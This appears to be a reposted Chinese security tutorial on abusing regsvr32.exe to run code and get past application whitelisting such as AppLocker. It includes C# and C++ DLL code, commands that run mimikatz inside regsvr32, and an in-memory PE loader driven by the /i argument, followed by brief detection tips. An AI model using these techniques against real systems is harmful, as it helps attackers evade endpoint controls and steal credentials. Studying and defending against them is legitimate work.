转载

Code Execution of Regsvr32.exe

0x00 前言

近日, Casey [email protected]

在其博客分享了对regsvr32.exe的研究进展,通过regsvr32.exe加载dll不仅更加隐蔽,而且还能够实现Bypass AppLocker,很是神奇。

于是,我对此做了进一步的学习研究,所以本文在前半段会先介绍Casey Smith的研究进展,后半段分享一下我基于此做的进一步研究测试,希望能给大家启发,跟进最新技术。

Casey Smith的博客地址:

http://subt0x10.blogspot.jp/2016/06/what-you-probably-didnt-know-about.html

Code Execution of Regsvr32.exe

图片引用自http://subt0x10.blogspot.jp/2016/06/what-you-probably-didnt-know-about.html

0x01 简介

1、rundll32

通过rundll32.exe加载dll大家应该都比较熟悉,语法:

#!shell rundll32.exe nameofdll,entrypointfunction arguments

例如:

#!shell rundll32 a.dll,EntryPoint

表示调用EntryPoint

2、regsvr32

Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。 语法:

#!shell regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname

参数:

#!shell /u 卸载已安装的控件或DLL文件 /s 静默,不显示任何消息框 /n 指定不调用 DllRegisterServer,此选项必须与 /i 共同使用 /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载 dllname 指定要注册的 dll 文件名

例如:

#!shell regsvr32 a.dll

表示调用DllRegisterServer

#!shell regsvr32 /u a.dll

表示调用DllUnregisterServer

#!shell regsvr32 /n /i a.dll

表示调用DllInstall

0x02 使用c#编写dll

下面我们尝试编写可被regsvr32调用的dll

c# 默认不可以声明导出函数

但是可以通过添加UnmanagedExports实现

下载地址:

https://www.nuget.org/packages/UnmanagedExports/

1、测试环境

  • Win 7 x64
  • VisualStudio2012

2、流程

(1)新建c#工程,类型选择类库

如图

Code Execution of Regsvr32.exe

(2)添加UnmanagedExports

设置编译平台为x86或者x64,

如图

Code Execution of Regsvr32.exe

如果使用默认的Any CPU,在下一步的安装会报错,如图

Code Execution of Regsvr32.exe

在Visual Studio控制面板选择 TOOLS-Library Package Manager-Package Manager Console
输入 Install-Package UnmanagedExports ,进行安装

(3)编写代码

Casey Smith在博客中分享了参考代码,地址为:

https://gist.githubusercontent.com/subTee/f6123584a3258783e497481690ccc38d/raw/0e3aad1d8f9fc6762491bda76a1a8baa948e8ca2/evil.cs

提取出关键代码为:

#!c [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]        public static void DllRegisterServer()        {            ProcessStartInfo info = new ProcessStartInfo();            info.FileName = "notepad.exe";            Process.Start(info);        }

这里定义了导出函数DllRegisterServer及其对应的功能

(4)编译

.NET 版本选择4.0或者更高,编译成功

注:

如果使用中文系统进行开发,会出现如下错误:

#!shell c:/users/test/documents/visual studio 2012/Projects/testdll/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets(58,3): error : (27) : error : syntax error at token '{' in:   {

这是由于UnmanagedExports不支持中文系统中的Unicode造成的,将系统的Unicode取消就好

选择 控制面板 - 时间、语言和区域 - 区域和语言 - 管理 - 非Unicode程序的语言 ,将中文改为英文,重启系统

3、测试

(1)EntryPoint

#!shell rundll32 testdll.dll,EntryPoint

如图

Code Execution of Regsvr32.exe

(2)DllRegisterServer

#!shell rundll32 testdll.dll,DllRegisterServer

or

#!shell regsvr32.exe testdll.dll

(3)DllUnregisterServer

#!shell rundll32 testdll.dll,DllUnregisterServer

or

#!shell regsvr32.exe /u testdll.dll

(4)DllInstall

#!shell rundll32 testdll.dll,DllInstall

or

#!shell regsvr32.exe /n /i testdll.dll

4、Execute Mimikatz inside of regsvr32.exe

下载地址:

https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz

#!shell rundll32 katz.dll,EntryPoint log coffee exit

or

#!shell regsvr32 katz.dll log version exit

0x03 使用c++编写dll

Casey Smith是通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,为了保证通用性,我采用了c++实现 下面介绍如何编写一个可被regsvr32加载的dll

1、添加导出函数

新建c++工程,创建一个dll项目 在主文件添加:

#!c void DllRegisterServer() {     MessageBox(NULL,"test","DllRegisterServer",MB_OK); } void DllUnregisterServer() {     MessageBox(NULL,"test","DllUnregisterServer",MB_OK); } void DllInstall(BOOL   bInstall, LPCWSTR pszCmdLine) {     MessageBox(NULL,"test","DllInstall",MB_OK); }

添加导出函数声明:

添加文件类型: Text File
名称: 同名文件.def

写入

#!shell EXPORTS DllRegisterServer DllUnregisterServer DllInstall

编译,然后测试导出函数的功能:

#!shell regsvr32 /s test.dll regsvr32 /s /u test.dll regsvr32 /s /n /i testdll.dll

如图

Code Execution of Regsvr32.exe

DllInstall的参数说明如下:

https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396

可知regsvr32可以通过 /i 传入cmd参数,下面来看看如何将cmd参数解析并传入我们自己的dll中

2、unicode转utf8

由DllInstall的参数说明可知pszCmdLine是 LPCWSTR 类型,这是一个指向unicode编码字符串的32位指针,所指向字符串是wchar型,而不是char型,实现接下来的功能需要先把传进来的参数pszCmdLine作一个转换,unicode转utf8,函数实现代码如下: unicode转utf8:

#!c char* Unicode2Utf8(const char* unicode)   {       int len;       len = WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, NULL, 0, NULL, NULL);       char *szUtf8 = (char*)malloc(len + 1);       memset(szUtf8, 0, len + 1);       WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, szUtf8, len, NULL,NULL);       return szUtf8;   }

补充:utf8转unicode:

#!c char* Utf82Unicode(const char* utf, size_t *unicode_number)   {       if(!utf || !strlen(utf))       {           *unicode_number = 0;           return NULL;       }       int dwUnicodeLen = MultiByteToWideChar(CP_UTF8,0,utf,-1,NULL,0);       size_t num = dwUnicodeLen*sizeof(wchar_t);       wchar_t *pwText = (wchar_t*)malloc(num);       memset(pwText,0,num);       MultiByteToWideChar(CP_UTF8,0,utf,-1,pwText,dwUnicodeLen);       *unicode_number = dwUnicodeLen - 1;       return (char*)pwText;   }

3、PE Loader

在对传入的参数正确解析后,可尝试通过内存加载对应的PE文件(也就是传入的cmd参数),PE Loader参考自Pe-Loader-Sample,功能还需完善 项目地址:

https://github.com/abhisek/Pe-Loader-Sample

完整调用的代码如下:

#!c void DllInstall(BOOL   bInstall, LPCWSTR pszCmdLine) {     char *a=Unicode2Utf8((const char*)pszCmdLine);     PE_LDR_PARAM peLdr;     PeLdrInit(&peLdr);     PeLdrSetExecutablePath(&peLdr, a);     PeLdrStart(&peLdr); }

4、最终版本

编译生成dll,可通过regsvr32调用,并且由 /i 传入要内存加载的exe路径,此方法可绕过绝大部分的应用程序白名单拦截和主动防御 运行命令:

#!shell regsvr32 /s /n /i:c:/test/Win32Project1.exe test.dll

可在内存加载并运行文件: c:/test/Win32Project1.exe
演示如图

Code Execution of Regsvr32.exe

完整测试工程代码已上传github:

https://github.com/3gstudent/regsvr32-test 注:

测试代码通过内存加载PE文件,如果遇到报错,需要进一步修改完善代码,这里面要学习的还有很多

0x04 防御

站在防御者的角度,想必大家在遇到系统正在运行进程rundll32.exe的时候,都会去检查rundll32的运行参数,那么,如果发现系统正在运行regsvr32.exe,当然也要去检查一下,这里提供两种简单的检查方法:

1、Task Manager

选择列 -选中 命令行
如图,可查看regsvr32.exe对应的命令行参数

Code Execution of Regsvr32.exe

2、Process Explorer

查看进程- 属性 - Commandline
如图

Code Execution of Regsvr32.exe

0x05 小结

以上介绍了如何开发可供Regsvr32加载运行的dll,并对Regsvr32的利用技巧做了总结,希望能给大家启发。 接下来,能否通过构造特殊的/i参数,找到系统正常dll的漏洞并加以利用,值得深入研究。

原文  http://drops.wooyun.org/tips/17726
正文到此结束
Loading...